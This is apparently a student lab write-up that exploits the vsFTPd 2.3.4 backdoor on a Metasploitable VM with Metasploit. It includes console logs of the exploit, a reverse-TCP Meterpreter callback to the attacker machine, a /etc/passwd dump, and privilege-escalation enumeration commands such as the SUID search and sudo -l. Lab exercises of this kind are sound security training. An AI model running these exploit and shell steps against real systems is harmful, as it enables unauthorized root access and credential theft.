



PRACTICAL 4 : ESCALATION USING METASPLOIT

Aim

The objective of this practical is to gain elevated (root) privileges on a compromised Linux system using Metasploit and post-exploitation techniques. This exercise helps understand how misconfigurations, vulnerable services, and kernel flaws can be abused to escalate privileges after initial access.

Tools & Environment Used

- **Attacking Machine:** Kali Linux
- **Target Machine:** Vulnerable Linux VM (vsFTPd 2.3.4 service enabled)
- **Framework:** Metasploit Framework
- **Network Type:** Host-only / Internal Network



```
[+] =[ metasploit v6.4.112-dev
+ -- ---[ 2,607 exploits - 1,322 auxiliary - 1,719 payloads      ]
+ -- ---[ 430 post - 49 encoders - 14 nops - 9 evasion       ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.56.102:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.101:41887 → 192.168.56.102:6200) at 2026-02-20 06:31
:50 -0500

^Z
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.101:4433
[*] Sending stage (1062760 bytes) to 192.168.56.102
[*] Meterpreter session 2 opened (192.168.56.101:4433 → 192.168.56.102:49866) at 2026-02-20 06:32:5
4 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > getuid
Server username: root
meterpreter >
```

Part A: Initial Access (Exploitation)

Step 1: Service Identification

A vulnerable FTP service (vsFTPD 2.3.4) was identified running on the target system.

Step 2: Exploitation Using Metasploit

The following Metasploit module was used to exploit the backdoored FTP service:

- Module: exploit/unix/ftp/vsftpd_234_backdoor

After setting the target IP address and running the exploit, a command shell session was successfully opened.

Observation

The exploit spawned a shell with UID 0 (root), indicating immediate root access due to the backdoor vulnerability.

Part B: Session Handling Issues Encountered

Problem 1: Session Closed Automatically

After gaining a shell, the session closed unexpectedly when commands were mistyped (e.g., incorrect use of the `session` command).

Solution

- Verified session status using the `sessions` command
- Re-ran the exploit carefully
- Ensured correct syntax while interacting with sessions

Problem 2: Exploit Ran but No Session Created

On re-exploitation attempts, Metasploit returned:

Exploit completed, but no session was created.

Reason

The vsFTPD backdoor only triggers once per service start. After initial exploitation, the service needed a restart.

Solution

- Restarted the target VM
- Re-ran the exploit



Part C: Privilege Escalation (Linux)

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture   : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
meterpreter > █
```

Step 1: Verifying Current Privileges

Commands executed inside the target shell:

- whoami
- id

These commands confirmed the current user context.

Step 2: System Enumeration

The following commands were executed to gather system information:

- `uname -a`
- `cat /etc/os-release`

This information is essential for identifying suitable kernel-level exploits.

Step 3: SUID Binary Enumeration

To locate files with SUID permissions, the following command was used:

- `find / -perm -4000 -type f 2>/dev/null`

Misconfigured SUID binaries can allow execution of commands with root privileges.

Step 4: Sudo Permission Check

- `sudo -l`

This command checks whether the current user can execute commands as root without a password.

Part D: Automated Privilege Escalation Suggestion

Tool Used

- Metasploit Post Module: `post/multi/recon/local_exploit_suggester`

Execution

The module was run from the Meterpreter prompt after exiting the shell.

Outcome

The module suggested possible local exploits based on the kernel version and system configuration.

Part E: Root Verification

```

meterpreter > shell
Process 5425 created.
Channel 2 created.
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
pwd
/etc$ mousejack
netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      PID/Program name
tcp    0      0      0.0.0.0:512            0.0.0.0:*             LISTEN    4559/xinetd
tcp    0      0      0.0.0.0:513            0.0.0.0:*             LISTEN    4559/xinetd
tcp    0      0      0.0.0.0:39233          0.0.0.0:*             LISTEN    -
tcp    0      0      0.0.0.0:2049           0.0.0.0:*             LISTEN    -
tcp    0      0      0.0.0.0:514            0.0.0.0:*             LISTEN    4559/xinetd
tcp    0      0      0.0.0.0:8009           0.0.0.0:*             LISTEN    4627/jsvc
tcp    0      0      0.0.0.0:6697           0.0.0.0:*             LISTEN    4684/unrealircd
tcp    0      0      0.0.0.0:3306           0.0.0.0:*             LISTEN    4245/mysql
tcp    0      0      0.0.0.0:1099           0.0.0.0:*             LISTEN    4664/rmiregistry
tcp    0      0      0.0.0.0:6667           0.0.0.0:*             LISTEN    4684/unrealircd
tcp    0      0      0.0.0.0:139             0.0.0.0:*             LISTEN    4516/smbd
tcp    0      0      0.0.0.0:5900           0.0.0.0:*             LISTEN    4682/Xtightvnc
tcp    0      0      0.0.0.0:43756          0.0.0.0:*             LISTEN    4439/rpc.mountd
tcp    0      0      0.0.0.0:111             0.0.0.0:*             LISTEN    3732/portmap
tcp    0      0      0.0.0.0:6000           0.0.0.0:*             LISTEN    4682/Xtightvnc
tcp    0      0      0.0.0.0:80              0.0.0.0:*             LISTEN    4645/apache2
tcp    0      0      0.0.0.0:8787           0.0.0.0:*             LISTEN    4668/ruby
tcp    0      0      0.0.0.0:35379          0.0.0.0:*             LISTEN    3748/rpc.statd
tcp    0      0      0.0.0.0:8180           0.0.0.0:*             LISTEN    4627/jsvc
tcp    0      0      0.0.0.0:1524           0.0.0.0:*             LISTEN    4559/xinetd
tcp    0      0      0.0.0.0:21              0.0.0.0:*             LISTEN    4559/xinetd
tcp    0      0      192.168.56.102:53        0.0.0.0:*             LISTEN    4105/named
tcp    0      0      127.0.0.1:53            0.0.0.0:*             LISTEN    4105/named

```

After exploitation, root access was verified using:

- **getuid (Meterpreter)**
- **whoami (Linux shell)**

Result

The output confirmed root-level privileges.

Final Result

The Linux system was successfully compromised and root access was obtained using Metasploit exploitation and privilege escalation techniques.

Learning Outcomes

- Understood the difference between Meterpreter and system shell
- Learned where to execute Metasploit vs Linux commands
- Gained hands-on experience with Linux privilege escalation
- Identified common errors during session handling and their fixes

Conclusion

This demonstrated how a vulnerable service combined with weak system security can lead to full system compromise. Proper patching, service hardening, and least-privilege principles are critical to prevent such attacks.